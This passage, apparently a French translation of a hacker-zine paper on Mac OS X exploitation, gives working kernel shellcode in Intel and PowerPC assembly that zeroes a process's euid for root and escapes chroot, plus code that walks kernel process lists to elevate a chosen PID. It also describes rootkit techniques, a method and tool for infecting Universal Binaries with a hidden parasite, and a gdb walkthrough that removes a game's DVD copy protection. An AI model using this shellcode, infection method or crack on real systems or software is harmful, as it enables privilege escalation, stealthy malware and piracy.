Donc, on doit compenser en ajoutant deux octets à la longueur de l'assembleur PowerPC. Pour vérifier que cette technique multi-architecture fonctionne, voici la sortie de gdb quand on l'attache sur un processus sous Intel : Program received signal SIGTRAP, Trace/breakpoint trap. 0x0000201b in trap () (gdb) x/i $pc 0x201b : int3 Voici la même sortie pour une version PowerPC du binaire : Program received signal SIGTRAP, Trace/breakpoint trap. 0x00002018 in trap () (gdb) x/i $pc 0x2018 : trap --[ 5 - Écrire des shellcode noyau Dans cette section, nous allons regarder quelques techniques pour écrire des shellcodes utilisés quand on exploite des vulnérabilités au niveau noyau. Avant de commencer, voici une paire de choses à noter. Mac OS X ne partage pas l'espace d'adressage entre le noyau et l'utilisateur. À la fois le noyau et l'utilisateur disposent de 4Gb d'espace d'adressage chacun (0x0 -> 0xffffffff). Je ne me suis pas embêté à écrire du code PowerPC, car pour la plupart de ce que j'ai fait, si vous voulez vraiment un code PowerPC, certains concepts seront portés très vite, d'autres juste un peu moins ;) --[ 5.1 - Escalade locale de privilèges Le premier type de shellcode dont nous allons regarder l'écriture est pour les vulnérabilités locales. L'objectif typique pour les shellcodes noyaux en local est simplement l'escalade de privilèges de nos processus en mode utilisateur. Ce sujet a été couvert dans l'excellent papier de noir sur l'exploitation noyau OpenBSD dans le phrack 60 [6]. Beaucoup de techniques du papier de noir s'appliquent directement à Mac OS X. noir montre que la fonction sysctl() peut être utilisée pour retrouver la structure kinfo_proc pour un identificateur de processus donné. Comme vous pouvez le voir ici, l'un des membres de la structure kinfo_proc est un pointeur vers la structure proc. struct kinfo_proc { struct extern_proc kp_proc; /* proc structure */ struct eproc { struct proc *e_paddr; /* address of proc */ struct session *e_sess; /* session pointer */ struct _pcred e_pcred; /* process credentials */ struct _ucred e_ucred; /* current credentials */ struct vmspace e_vm; /* address space */ pid_t e_ppid; /* parent process id */ pid_t e_pgid; /* process group id */ short e_jobc; /* job control counter */ dev_t e_tdev; /* controlling tty dev */ pid_t e_tpgid; /* tty process group id */ struct session *e_tsess; /* tty session pointer */ #define WMESGLEN 7 char e_wmesg[WMESGLEN+1]; /* wchan message */ segsz_t e_xsize; /* text size */ short e_xrssize; /* text rss */ short e_xccount; /* text references */ short e_xswrss; int32_t e_flag; #define EPROC_CTTY 0x01 /* controlling tty vnode active */ #define EPROC_SLEADER 0x02 /* session leader */ #define COMAPT_MAXLOGNAME 12 char e_login[COMAPT_MAXLOGNAME];/* short setlogin() name*/ int32_t e_spare[4]; } kp_eproc; }; Ilja van Sprundel a mentionné cette technique dans sa présentation à Blackhat [7]. En gros, on peut utiliser l'adresse "p.kp_eproc.ep_addr" pour accéder à la structure proc de notre processus en mémoire. La fonction suivante retournera l'adresse d'une structure proc d'un pid donné dans le noyau. long get_addr(pid_t pid) { int i, sz = sizeof(struct kinfo_proc), mib[4]; struct kinfo_proc p; mib[0] = CTL_KERN; mib[1] = KERN_PROC; mib[2] = KERN_PROC_PID; mib[3] = pid; i = sysctl(&mib, 4, &p, &sz, 0, 0); if (i == -1) { perror("sysctl()"); exit(0); } return(p.kp_eproc.e_paddr); } Maintenant que nous avons l'adresse de notre structure proc, nous avons juste à changer son uid et/ou euid dans leurs structures respectives. Voici un extrait de la structure proc : struct proc { LIST_ENTRY(proc) p_list; /* List of all processes. */ /* substructures: */ struct ucred *p_ucred; /* Process owner's identity. */ struct filedesc *p_fd; /* Ptr to open files structure. */ struct pstats *p_stats; /* Accounting/statistics (PROC ONLY). */ struct plimit *p_limit; /* Process limits. */ struct sigacts *p_sigacts; /* Signal actions, state (PROC ONLY). */ ... } Comme vous pouvez le voir, juste après la p_list, il y a un pointeur vers la structure ucred. Voici cette structure : struct _ucred { int32_t cr_ref; /* reference count */ uid_t cr_uid; /* effective user id */ short cr_ngroups; /* number of groups */ gid_t cr_groups[NGROUPS]; /* groups */ }; En changeant le champ cr_uid dans cette structure, nous pouvons attribuer un euid à notre processus. Le code assembleur suivant va chercher cette structure et mettra à zéro le champ cr_uid. Ça nous laisse avec les privilèges root sur une plateforme Intel. SECTION .text _main: mov ebx, [0xdeadbeef] ;# ebx = proc address mov ecx, [ebx + 8] ;# ecx = ucred xor eax,eax mov [ecx + 12], eax ;# zero out the euid ret Pour utiliser ce code, nous devons remplacer l'adresse "0xdeadbeef" par l'adresse de la structure proc que nous avons regardé plus haut. Voici un code de la présentation de Ilja van Sprundel qui fait la même chose sous plateforme PowerPC. int kshellcode[] = { 0x3ca0aabb, // lis r5, 0xaabb 0x60a5ccdd, // ori r5, r5, 0xccdd 0x80c5ffa8, // lwz r6, ­88(r5) 0x80e60048, // lwz r7, 72(r6) 0x39000000, // li r8, 0 0x9106004c, // stw r8, 76(r6) 0x91060050, // stw r8, 80(r6) 0x91060054, // stw r8, 84(r6) 0x91060058, // stw r8, 88(r6) 0x91070004 // stw r8, 4(r7) } On peut combiner les deux shellcode en un architecture spanning shellcode. C'est un processus simple et c'est documenté en section 4 de ce papier. Le code complet du code multi-architecture est disponible en annexe. Sur les processeurs PowerPC, XNU utiliser une optimisation appelée "user memory windows" [ NDT : fenêtre de mémoire utilisateur]. Ceci veut dire que l'espace d'adressage utilisateur et celui noyau partage quelques pages. Cette conception est là pour importer/exporter. La fenêtre de mémoire utilisateur commence typiquement à 0xe0000000 à la fois en mode noyau et utilisateur. Ça peut être utile quand on essaye de positionner un shellcode pour l'utiliser dans des vulnérabilités d'escalade locale de privilège. --[ 5.2 - Casser un chroot() Avant de regarder comment on peut sortir de processus qui ont utilisé le syscall chroot(), nous allons voir pourquoi, la plupart du temps, nous n'en avons pas besoin. -[root@fry:/chroot]# touch file_outside_chroot -[root@fry:/chroot]# ls -lsa file_outside_chroot 0 -rw-r--r-- 1 root admin 0 Jan 29 12:17 file_outside_chroot -[root@fry:/chroot]# chroot demo /bin/sh -[root@fry:/]# ls -lsa file_outside_chroot ls: file_outside_chroot: No such file or directory -[root@fry:/]# pwd / -[root@fry:/]# ls -lsa ../file_outside_chroot 0 -rw-r--r-- 1 root admin 0 Jan 29 20:17 ../file_outside_chroot -[root@fry:/]# ../../usr/sbin/chroot ../../ /bin/sh -[root@fry:/]# ls -lsa /chroot/file_outside_chroot 0 -rw-r--r-- 1 root admin 0 Jan 29 12:17 /chroot/file_outside_chroot Comme vous pouvez le voir, la commande /usr/bin/chroot qui est livrée avec Mac OS X ne fait pas de chdir() et donc, ne fait pas vraiment grand chose. Les auteurs suggèrent le complément au chroot suivant dans la page de man de Mac OS X : "Caution: Does not work." [NDT : Attention : Ne fonctionne pas"] Entre parenthèses, ce patch pourrait être utile pour la man page de setreuid(). Je ne m'attarderai pas plus sur ce sujet puisque noir a déjà couvert le sujet très bien dans son papier [6]. En gros, noir mentionne que tout ce que nous avons besoin pour faire sortir notre processus du chroot() est de mettre l'élément p->p_fd->fd_rdir à zéro dans notre structure proc. On peut obtenir l'adresse de notre structure proc en utilisant sysctl comme mentionné plus haut. noir fournis déjà les instruction pour ça : mov edx,[ecx + 0x14] ;# edx = p->p_fd mov [edx + 0xc],eax ;# p->p_fd->fd_rdir = 0 --[ 5.3 - Améliorations Maintenant que nous sommes familier de l'écriture de shellcode dans des exploits locaux, où nous avons déjà un accès local à la machine, le reste du code relatif au noyau dans ce papier se concentrera sur le fait de le faire sans avoir besoin d'accès en mode utilisateur. Pour le faire, on peut utiliser les structures pour cpu/task/proc et les structures de threads dans le noyau. La définition de chacune de ces structure peut se trouver dans les répertoires osfmk/kern et bsd/sys/ dans divers fichiers d'en-tête. La première structure que nous allons regarder est la structure "cpu_data" qu'on trouve dans osfmk/i386/cpu_data.h. J'ai inclus la définition de cette structure ici : /* * Per-cpu data. * * Each processor has a per-cpu data area which is dereferenced through the * using this, in-lines provides single-instruction access to frequently * used members - such as get_cpu_number()/cpu_number(), and * get_active_thread()/ current_thread(). * * Cpu data owned by another processor can be accessed using the * cpu_datap(cpu_number) macro which uses the cpu_data_ptr[] array of * per-cpu pointers. */ typedef struct cpu_data { struct cpu_data *cpu_this; /* pointer to myself */ thread_t cpu_active_thread; void *cpu_int_state; /* interrupt state */ vm_offset_t cpu_active_stack; /* kernel stack base */ vm_offset_t cpu_kernel_stack; /* kernel stack top */ vm_offset_t cpu_int_stack_top; int cpu_preemption_level; int cpu_simple_lock_count; int cpu_interrupt_level; int cpu_number; /* Logical CPU */ int cpu_phys_number; /* Physical CPU */ cpu_id_t cpu_id; /* Platform Expert */ int cpu_signals; /* IPI events */ int cpu_mcount_off; /* mcount recursion */ ast_t cpu_pending_ast; int cpu_type; int cpu_subtype; int cpu_threadtype; int cpu_running; uint64_t rtclock_intr_deadline; rtclock_timer_t rtclock_timer; boolean_t cpu_is64bit; task_map_t cpu_task_map; addr64_t cpu_task_cr3; addr64_t cpu_active_cr3; addr64_t cpu_kernel_cr3; cpu_uber_t cpu_uber; void *cpu_chud; void *cpu_console_buf; struct cpu_core *cpu_core; /* cpu's parent core */ struct processor *cpu_processor; struct cpu_pmap *cpu_pmap; struct cpu_desc_table *cpu_desc_tablep; struct fake_descriptor *cpu_ldtp; cpu_desc_index_t cpu_desc_index; int cpu_ldt; #ifdef MACH_KDB /* XXX Untested: */ int cpu_db_pass_thru; vm_offset_t cpu_db_stacks; void *cpu_kdb_saved_state; spl_t cpu_kdb_saved_ipl; int cpu_kdb_is_slave; int cpu_kdb_active; #endif /* MACH_KDB */ boolean_t cpu_iflag; boolean_t cpu_boot_complete; int cpu_hibernate; pmsd pms; /* Power Management Stepper control */ uint64_t rtcPop; /* when the etimer wants a timer pop */ vm_offset_t cpu_copywindow_bas; uint64_t *cpu_copywindow_pdp; vm_offset_t cpu_physwindow_base; uint64_t *cpu_physwindow_ptep; void *cpu_hi_iss; boolean_t cpu_tlb_invalid; uint64_t *cpu_pmHpet; /* Address of the HPET for this processor */ uint32_t cpu_pmHpetVec; /* Interrupt vector for HPET for this processor */ /* Statistics */ pmStats_t cpu_pmStats; /* Power management data */ uint32_t cpu_hwIntCnt[256]; /* Interrupt counts */ uint64_t cpu_dr7; /* debug control register */ } cpu_data_t; Comme vous pouvez le voir, cette structure contient des informations intéressantes pour notre shellcode qui fonctionne dans le noyau. Nous avons juste besoin de déterminer comment y accéder. La macro suivante montre comment on peut accéder à cette structure. /* Macro to generate inline bodies to retrieve per-cpu data fields. */ #define offsetof(TYPE,MEMBER) ((size_t) &((TYPE *)0)->MEMBER) #define CPU_DATA_GET(member,type) \ type ret; \ __asm__ volatile ("movl %%gs:%P1,%0" \ : "=r" (ret) \ : "i" (offsetof(cpu_data_t,member))); \ return ret; Quand notre code s'exécute en espace noyau, le sélecteur gz peut être utilisé pour accéder à la structure cpu_data. Le premier élément de cette structure contient un pointeur vers la structure elle-même, nous n'avons donc plus besoin d'utiliser gs après cela. Le premier objectif que nous allons regarder est la capacité à trouver le processus init (pid=1) via cette structure. Puisque notre code pourrait fonctionner associé à un thread utilisateur, nous ne pouvons pas compter les structures uthread qui se trouve dans notre structure thread_t. Un exemple de ceci pourrait être quand nous exploitons une pile réseau ou une extension noyau. La première étape à faire pour trouver la structure du processus init est de retrouver le pointeur vers notre structure thread_t. On peut le faire simplement en récupérant le pointeur à gs:0x40. Les instructions suivantes le font : _main: xor ebx,ebx ;# zero ebx mov eax,[gs:0x04 + ebx] ;# thread_t. Après l'exécution de ces instructions, nous avons un pointeur vers notre structure de thread dans eax. La structure de thread est définie dans osfmk/kern/thread.h. Une partie de cette structure est montrée ici : struct thread { ... queue_chain_t links; /* run/wait queue links */ run_queue_t runq; /* run queue thread is on SEE BELOW */ wait_queue_t wait_queue; /* wait queue we are currently on */ event64_t wait_event; /* wait queue event */ integer_t options;/* options set by thread itself */ ... /* Data used during setrun/dispatch */ timer_data_t system_timer; /* system mode timer */ processor_set_t processor_set;/* assigned processor set */ processor_t bound_processor; /* bound to a processor? */ processor_t last_processor; /* processor last dispatched on */ uint64_t last_switch; /* time of last context switch */ ... void *uthread; #endif }; Cette structure, encore une fois, contient beaucoup de champs utiles pour notre shellcode. Cependant, dans ce cas, nous essayons de trouver la structure proc. Parce que nous pourrions ne pas avoir nécessairement déjà un uthread qui nous soit associé, comme mentionné plus haut, nous devons regarder ailleurs pour une liste de tâches pour localiser init (launchd). La prochaine étape de ce processus est de retrouver l'élément "last_processor" de la structure thread_t. Nous le faisons grâce aux instructions suivantes : mov bl,0xf4 mov ecx,[eax + ebx] ;# last_processor Le pointeur last_processor pointe vers une structure de processeur, comme son nom le suggère ;) Nous pouvons voyager à partir de la structure last_processor vers le pset par défaut pour trouver le pset qui contient init. mov eax,[ecx] ;# default_pset + 0xc On récupère alors le [task head] à partir de cette structure. push word 0x458 pop bx mov eax,[eax + ebx] ;# tasks head. Et retrouvons l'élément bsd_info de la tâche. C'est un pointeur vers une structure proc. push word 0x19c pop bx mov eax,[eax + ebx] ;# get bsd_info La structure proc est définie dans xnu/bsd/sys/proc_internal.h. Le premier élément de la structure proc est : LIST_ENTRY(proc) p_list; /* List of all processes. */ Nous pouvons parcourir cette liste pour trouver un processus particulier que nous voudrions. Pour la plupart de nos codes, nous commencerons par init (launchd sous Mac OS X). Ce processus a le pid 1. Pour le trouver, nous parcourons simplement la liste en vérifiant le champ pid à l'offset 36. Le code pour le faire est le suivant : next_proc: mov eax,[eax+4] ;# prev mov ebx,[eax + 36] ;# pid dec ebx test ebx,ebx ;# if pid was 1 jnz next_proc done: ;# eax = struct proc *init; Maintenant que nous avons développé qui retrouve un pointeur vers la structure proc du processus init, nous pouvons regarder les choses qu'on peut faire grâce à ce pointeur. La première cause que nous allons regarder est simplement la réécriture du code de l'escalade de privilèges listée plus haut. Notre nouvelle version de ce code ne nécessitera plus aucune aide de l'espace utilisateur (sysctl, ...). Je pense que le code ci-dessous s'explique tout seul. %define PID 1337 find_pid: mov eax,[eax + 4] ;# eax = next proc mov ebx,[eax + 36] ;# pid cmp bx,PID jnz find_pid mov ecx, [eax + 8] ;# ecx = ucred xor eax,eax mov [ecx + 12], eax ;# met l'euid à zéro Comme vous pouvez le voir, la structure cpu_date nous ouvre beaucoup de possibilités pour nos shellcodes. Heureusement, j'aurai le temps de regarder certaines dans un futur papier. --[ 6 - Misc Rootkit Techniques Dans cette section, je vais parcourir quelques petits bouts d'information qui peuvent êtres adaptés à quelqu'un qui développerait un rootkit pour Mac OS X. Je n'avais pas vraiment d'autre endroit pour mettre ces trucs, c'est donc ici que je les ai mis. La première chose à voir est qu'il existe une API [21] pour exécuter des applications utilisateurs depuis le mode noyau. C'est ce qu'on appelle le "Kernel User Notification Daemon". C'est implémenté en utilisant un port mach que le noyau utilise pour communiquer avec un démon utilisateur qu'on appelle kuncd. Le fichier xnu/osfmk/UserNotification/UNDRequest.defs contient les définitions d'interface du Mach Interface Generator (MIG) pour communiquer avec ce démon. Le port mach est appelé : "com.apple.system.Kernel[UNC]Notifications" et est enregistré par le démon /usr/libexec/kuncd. Voici un exemple pragmatique d'utilisation de cette interface. L'interface nous permet d'afficher des messages via le GUI vers l'utilisateur et aussi de lancer n'importe quelle application.= kern_return_t ret; ret = KUNCExecute( "/Applications/TextEdit.app/Contents/MacOS/TextEdit", kOpenAppAsRoot, kOpenApplicationPath ); ret = KUNCExecute( "Internet.prefPane", kOpenAppAsConsoleUser, kOpenPreferencePanel ); Il pourrait y avoir des situations où vous voudriez que votre code s'exécute sur tous les processeurs d'un système. Par exemple, mettre à jours l'IDT / MSR sans avoir envie qu'un processeur rate ça. Le noyau xnu fourni une fonction pour ça. Le commentaire et le prototype nous en explique plus que je le pourrais; les voici : /* * All-CPU rendezvous [NDT : en français dans le texte] : * - Les CPU sont signalés, * - ils exécutent tous la fonction setup (si spécifiée), * - rendezvous (i.e. point de synchronisation), * - ils exécutent tous la fonction action (si spécifiée) * - encore un rendezvous, * - execute la fonction teardown (si spécifiée) et ensuite * - retournent à leur tâches * * notez que les fonctions externes fournies _doivent_ être réentrantes * et au courant qu'elles fonctionnent en parallèle et dans un contexte * de verroux inconnu. */ void mp_rendezvous(void (*setup_func)(void *), void (*action_func)(void *), void (*teardown_func)(void *), void *arg) { Le code des fonctions relatives sont stockées dans xnu/osfmk/i386/mp.c. --[ 7 - Infection de "Universal Binary format" Le format d'objet Mach-O est utilisé sur les systèmes d'exploitation dont le noyau est basé sur Mach. C'est le format utilisé par Mac OS X. Des travaux significatifs ont déjà été fait sur l'infection de ce format. Les papiers [12] et [13] en montre quelques uns. Les fichiers Mach-O peuvent être identifiés par les quatre premiers octets du fichier qui contiennent le "magic number" 0xfeedface. Récemment, Mac OS X a changé de plateforme et a changé PowerPC pour Intel. Ce changement a impliqué l'utilisation d'un nouveau format de binaires pour la plupart des applications sous Max OS X 10.4. Le "Universal Binary Format" est défini dans les références du Mach-O Runtime de apple[4]. Le Universal Binary format est un format d'archive vraiment trivial qui permet de stocker plusieurs fichiers Mac-O de types d'architectures différentes dans un seul fichier. Le chargeur sous Mac OS X est capable d'interpréter ce fichier et de distinguer quel fichier, au sein de l'archive, correspond à l'architecture du système. (Nous y reviendrons plus tard.) La structure utilisée par Mac OS X pour définir et analyser les binaires universels se trouve dans le fichier /usr/include/mach-o/fat.h. Les binaires universels sont reconnaissables, encore une fois, par le "magic number" dans les premiers quatre octets du fichier. Les binaires universels commencent par l'en-tête suivante : struct fat_header { uint32_t magic; /* FAT_MAGIC */ uint32_t nfat_arch; /* number of structs that follow */ }; Le magic number d'un binaire universel est comme suit : #define FAT_MAGIC 0xcafebabe #define FAT_CIGAM 0xbebafeca /* NXSwapLong(FAT_MAGIC) */ On utilise soit FAT_MAGIC ou FAT_CIGAM, en fonction de l'encodage (big/little endian) du système. Le champ nfat_arch de la structure contient le nombre de fichiers Mach-O contenus dans l'archive. Entre parenthèses, si vous lui attribuez une valeur assez grande, presque tous les outils de débuggage sous Mac OS X vont crasher, comme c'est montré ici : -[nemo@fry:~]$ printf "\xca\xfe\xba\xbe\x66\x66\x66\x66" > file -[nemo@fry:~]$ otool -tv file Segmentation fault Pour chaque fichier Mach-O dans le binaire universel, il y a aussi une structure fat_arch. Cette structure est la suivante : struct fat_arch { cpu_type_t cputype; /* cpu specifier (int) */ cpu_subtype_t cpusubtype; /* machine specifier (int) */ uint32_t offset; /* file offset to this object file */ uint32_t size; /* size of this object file */ uint32_t align; /* alignment as a power of 2 */ }; La structure fat_arch défini le type d'architecture du fichier Mach-O, ainsi que l'offset dans le binaire universel auquel il est stocké. Il contient aussi l'alignement de l'architecture pour ce fichier particulier, exprimé en puissance de 2. Le schéma suivant décrit l'agencement d'un binaire universel typique : ._________________________________________________, |0xcafebabe | | struct fat_header | |-------------------------------------------------| | fat_arch struct #1 |------------+ |-------------------------------------------------| | | fat_arch struct #2 |---------+ | |-------------------------------------------------| | | | fat_arch struct #n |------+ | | |-------------------------------------------------|<-----------+ |0xfeedface | | | | | | | | Mach-O File #1 | | | | | | | | | | | |-------------------------------------------------|<--------+ |0xfeedface | | | | | | Mach-O File #2 | | | | | | | | |-------------------------------------------------|<-----+ |0xfeedface | | | | Mach-O file #n | | | | | '-------------------------------------------------' Vous pouvez voir ici que le fichier commence avec une structure fat_header. Suivent ensuite les n structures fat_arch, définissant chacune l'offset dans le fichier pour trouver le fichier Mach-O décrit par la structure. Enfin, n fichiers Mach-O sont concaténés juste après ces structures. Avant de continuer dans la méthode pour infecter les binaires universels, je vais d'abord montrer comment le noyau les charge. Le fichier xnu/bsd/kern/kern_exec.c contient le code montré dans cette section. D'abord, le noyau met en place un tableau de structures execsw terminé par un NULL. Chacune contenant un pointeur de fonction vers un activateur / analyseur d'image pour les différents types d'images, ainsi qu'une chaîne de caractère de description pertinente. La définition et la déclaration de ce tableau sont montrées ici : /* * Our image activator table; this is the table of the image types we are * capable of loading. We list them in order of preference to ensure the * fastest image load speed. * * XXX hardcoded, for now; should use linker sets */ struct execsw { int (*ex_imgact)(struct image_params *); const char *ex_name; } execsw[] = { { exec_mach_imgact, "Mach-o Binary" }, { exec_fat_imgact, "Fat Binary" }, #ifdef IMGPF_POWERPC { exec_powerpc32_imgact, "PowerPC binary" }, #endif /* IMGPF_POWERPC */ { exec_shell_imgact, "Interpreter Script" }, { NULL, NULL} }; Le code suivant, de l'appel système execve(), appele une boucle sur les éléments de ce tableau et appele les pointeurs de fonction pour chacune. En lui passant un pointeur vers le début de l'image. int execve(struct proc *p, struct execve_args *uap, register_t *retval) { ... for(i = 0; error == -1 && execsw[i].ex_imgact != NULL; i++) { error = (*execsw[i].ex_imgact)(imgp); Chacune des fonctions analyse le fichier pour déterminer si le fichier est approprié à l'architecture. La fonction qui est responsable de l'ananlyse et en charge de faire correspondre les binaires universels est la fonction "exec_fat_imgact". Voici la déclaration de cette fonction : /* * exec_fat_imgact * * Image activator for fat 1.0 binaries. If the binary is fat, then we * need to select an image from it internally, and make that the image * we are going to attempt to execute. At present, this consists of * reloading the first page for the image with a first page from the * offset location indicated by the fat header. * * Important: This image activator is byte order neutral. * * Note: If we find an encapsulated binary, we make no assertions * about its validity; instead, we leave that up to a rescan * for an activator to claim it, and, if it is claimed by one, * that activator is responsible for determining validity. */ static int exec_fat_imgact(struct image_params *imgp) La première chose que cette fonction fasse est de tester le magic number au début du fichier. Le code suivant le fait : /* Make sure it's a fat binary */ if ((fat_header->magic != FAT_MAGIC) && (fat_header->magic != FAT_CIGAM)) { error = -1; goto bad; } La fonction fatfile_getarch_affinity() est alors appelée pour chercher après un fichier Mach-O approprié au type d'architecture dans le binaire universel. /* Look up our preferred architecture in the fat file. */ lret = fatfile_getarch_affinity(imgp->ip_vp, (vm_offset_t)fat_header, &fat_arch, (p->p_flag & P_AFFINITY)); Cette fonction est définie dans le fichier : xnu/bsd/kern/mach_fat.c. load_return_t fatfile_getarch_affinity( struct vnode *vp, vm_offset_t data_ptr, struct fat_arch *archret, int affinity) Cette fonction cherche chacun des fichiers Mach-O dans le binaire Universel. Un hôte a une architecture primaire et secondaire. Si pendant cette recherche, on trouve un fichier Mach-O qui correspond à l'architecture primaire le l'hôte, on utilise ce fichier. Si, par contre, on ne trouve pas de fichier pour l'architecture primaire, mais qu'on en trouve un pour l'architecture secondaire, alors, on utilise celui-là. C'est utile quand on infecte ce format. Une fois qu'un fichier Mach-O approprié est localisé, les attributs imgp ip_arch_offset et ip_arch_size sont mis à jours pour refléter la nouvelle position dans le fichier. /* Success. Indique l'identification d'un binaire encapsulé */ error = -2; imgp->ip_arch_offset = (user_size_t)fat_arch.offset; imgp->ip_arch_size = (user_size_t)fat_arch.size; Après ceci, fatfile_getarch_affinity() termine simplement et laisse execve() continuer de parcourir le tableau de structures execsw[] pour trouver un chargeur approprié pour le nouveau fichier. Cette logique signifie qu'il n'est pas important que le type d'architecture du fichier corresponde à celui spécifié dans la structure fat_header dans le binaire universel. Une fois qu'un fichier Mach-O est choisi, il sera traité comme un binaire original. La méthode que je propose pour infecter des binaires universels utilise ce comportement. Voici une analyse de la méthode : 1) Déterminer l'architecture primaire et secondaire de la machine hôte. 2) Analyser la structure fat_header du binaire hôte. 3) Parcourir la structure fat_arch et localiser la structure pour le type d'architecture secondaire. 4) Vérifier que la taille du parasite est plus petite que le fichier Mach-O de l'architecture secondaire dans le binaire universel. 5) Copier le binaire parasite directement dans le binaire de l'architecture secondaire dans le binaire universel. 6) trouver la structure fat_arch de l'architecture primaire. 7) Modifier le champ du type d'architecture pour qu'il vale 0xdeadbeef. Maintenant, quand le binaire est exécuté, l'architecture primaire n'est plus trouvée. À cause de ça, l'architecture secondaire est utilisée. Le imgp pointe vers l'offset dans le fichier contenant notre parasite, et il est exécuté, comme prévu. Le parasite ouvre alors son propre binaire (ce qui est possible sous Mac OS X) et fait une recherche linéaire après 0xdeadbeef. Il modifie alors sa valeur, en lui redonnant sa valeur originale et utilise execve() sur lui-même. Il y a des codes d'exemples fournis avec ce papier qui démontrent cette méthode sur architecture intel. Le code unipara.c va copier un fichier Mach-O d'architecture Intel dans un fichier Mach-O PowerPC dans un binaire universel. Après que l'infection ait eu lieu, la taille du fichier hôte reste inchangée. -[nemo@fry:~/code/unipara]$ ./unipara host parasite -[nemo@fry:~/code/unipara]$ ./host uid=501(nemo) gid=501(nemo) -[nemo@fry:~/code/unipara]$ wc -c host 43028 host -[nemo@fry:~/code/unipara]$ ./unipara parasite host [+] Initiating infection process. [+] Found: 2 arch structs. [+] We are good to go, attaching parasite. [+] parasite implanted at offset: 0x6000 [+] Switching arch types to execute our parasite. -[nemo@fry:~/code/unipara]$ wc -c host 43028 host -[nemo@fry:~/code/unipara]$ ./host Hello, World! uid=501(nemo) gid=501(nemo) Si la résidence est nécessaire après que la payload ait été exécutée, le parasite peut simplement faire un fork() avant de modifier son binaire. Le processus parent peut alors faire l'execve() pendant que le fils attend et remet l'architecture à 0xdeadbeef. --[ 8 - Exemple de cracking - Prey Récemment, pendant une super longue escale au LAX airport [NDT : aéroport de Los Angeles] (l'aéroport le plus ennuyeux dans le monde entier), j'ai décider de passer mon temps en jouant au jeu "Prey", que j'avais installé sur mon portable. À mon horreur, au moment où j'essayai de lancer le jeu, j'ai reçu le message suivant : "Please insert the disc "Prey" or press Quit." "Veuillez insérer le disque "Prey" ou appuyer sur Quitter." "Bitte legen Sie "Prey" ins Laufwerk ein oder klicken Sie auf Beenden." Puisque je n'avais rien de mieux à faire, j'ai décider de passer un peu de temps à supprimer ce message d'erreur. La première chose que je fut, fut de déterminer le format objet du fichier exécutable. -[nemo@fry:/Applications/Prey/Prey.app/Contents/MacOS]$ file Prey Prey: Mach-O universal binary with 2 architectures Prey (for architecture ppc): Mach-O executable ppc Prey (for architecture i386): Mach-O executable i386 L'exécutable Prey est un binaire universel contenant un binaire Mach-o pour PowerPC et i386. Ensuite, je lançais la commande otool -o pour déterminer si le code était écrit en Objective-C. La sortie de cette commande montre que des segments d'Objective-C sont présents dans le fichier. -[nemo@largeprompt]$ otool -o Prey | head -n 5 Prey: Objective-C segment Module 0x27ef458 version 6 size 16 J'utilisais ensuite la commande "class-dump" [14] pour dumper les définitions de classes depuis le fichier. Probablement la plus intéressante : @interface DOOMController (Private) - (void)quakeMain; - (BOOL)checkRegCodes; - (BOOL)checkOS; - (BOOL)checkDVD; @end La plupart des jeux sous Mac OS X sont 10 ans en arrière de leurs homologues sous Windows quand on parle de protections contre la copie. Typiquement, les développeurs ne strippent [NDT : retirer les symboles et autres infos lors de la compilation] pas leurs fichiers et les symboles sont toujours présents. Grâce à ça, j'ai lancé gdb et mis un point d'arrêt sur la fonction principale. (gdb) break main Breakpoint 1 at 0x96b64 Cependant, quand j'exécutais le fichier, le message d'erreur s'est affiché avant d'atteindre mon point breakpoint dans le main. Ça m'a fait penser qu'un constructeur devait être responsable de cette vérification. Pour valider cette théorie, j'ai lancé la commande "otool -o" sur le binaire pour lister les commandes load dans le fichier. (Le Mach-O Runtime Document [4] explique très clairement les structures load_command). Chaque section dans le fichier Mach-O a une valeur "flags" qui lui est associée. Elle décrit le but de la section. Les valeurs possibles pour les variables flags se trouvent dans le fichier : /usr/include/mach-o/loader.h. La valeur qui représente une section de constructeur est définie comme suit : /* section with only function pointers for initialization*/ #define S_MOD_INIT_FUNC_POINTERS 0x9 En regardant la sortie de "otool -o", il n'y a qu'une section avec la valeur de flag 0x9. Cette section est montrée ci-après : Section sectname __mod_init_func segname __DATA addr 0x00515cec size 0x00000380 offset 5328108 align 2^2 (4) reloff 0 nreloc 0 flags 0x00000009 reserved1 0 reserved2 0 Maintenant que l'adresse virtuelle de la section constructeur de cette application est connue, j'ai simplement lancé gdb une nouvelle fois et mis un breakpoint sur chacun des pointeurs contenus dans cette section. (gdb) x/x 0x00515cec 0x515cec <_ZTI14idSIMD_Generic+12>: 0x028cc8db (gdb) 0x515cf0 <_ZTI14idSIMD_Generic+16>: 0x00495852 (gdb) 0x515cf4 <_ZTI14idSIMD_Generic+20>: 0x0049587c ... (gdb) break *0x028cc8db Breakpoint 1 at 0x28cc8db (gdb) break *0x00495852 Breakpoint 2 at 0x495852 (gdb) break *0x0049587c Breakpoint 3 at 0x49587c ... J'ai ensuite exécuté le programme. Comme prévu, le premier breakpoint fut atteint avant que le message d'erreur ne soit affiché. (gdb) r Starting program: /Applications/Prey/Prey.app/Contents/MacOS/Prey Breakpoint 1, 0x028cc8db in dyld_stub_log10f () (gdb) continue J'ai ensuite continué l'exécution et le message d'erreur est apparu. C'est arrivé avant que le second breakpoint ne soit atteint. Ça nous indique que le premier pointeur dans __mod_init_func est responsable du processus de vérification du DVD. Pour valider ma théorie, j'ai redémarré le processus, cette fois, j'ai supprimé les breakpoints sauf le premier. (gdb) delete Delete all breakpoints? (y or n) y (gdb) break *0x028cc8db Breakpoint 4 at 0x28cc8db (gdb) r Starting program: /Applications/Prey/Prey.app/Contents/MacOS/Prey Reading symbols for shared libraries . done Une fois que le breakpoint est atteint, je "retourne" simplement du constructeur, sans tester le DVD. Breakpoint 4, 0x028cc8db in dyld_stub_log10f () (gdb) ret Make selected stack frame return now? (y or n) y #0 0x8fe0fcc4 in _dyld__ZN16ImageLoaderMachO16doInitialization... () And then continue execution. (gdb) c Le message d'erreur n'était plus, et Prey a démarre comme si j'avais le DVD dans le lecteur, VICTOIRE ! Après voir joué au jeu pendant 10 minutes à courir encore et encore à travers le même couloir ennuyeux, j'ai décidé qu'il serait plus amusant de continuer à cracker le jeu qu'à y jouer. J'ai quitté le jeu et suis revenu dans mon shell. Pour modifier le binaire, j'ai utilisé le HT Editor [15]. Avant de pouvoir utiliser HTE pour modifier le fichier, je devais extraire l'architecture appropriée à mon système depuis le binaire universel. Je l'ai fait en lançant la commande ditto comme suit : -[nemo@fry:/Prey/Prey.app/Contents/MacOS]$ ditto -arch i386 Prey Prey.i386 -[nemo@fry:/Prey/Prey.app/Contents/MacOS]$ cp Prey Prey.backup 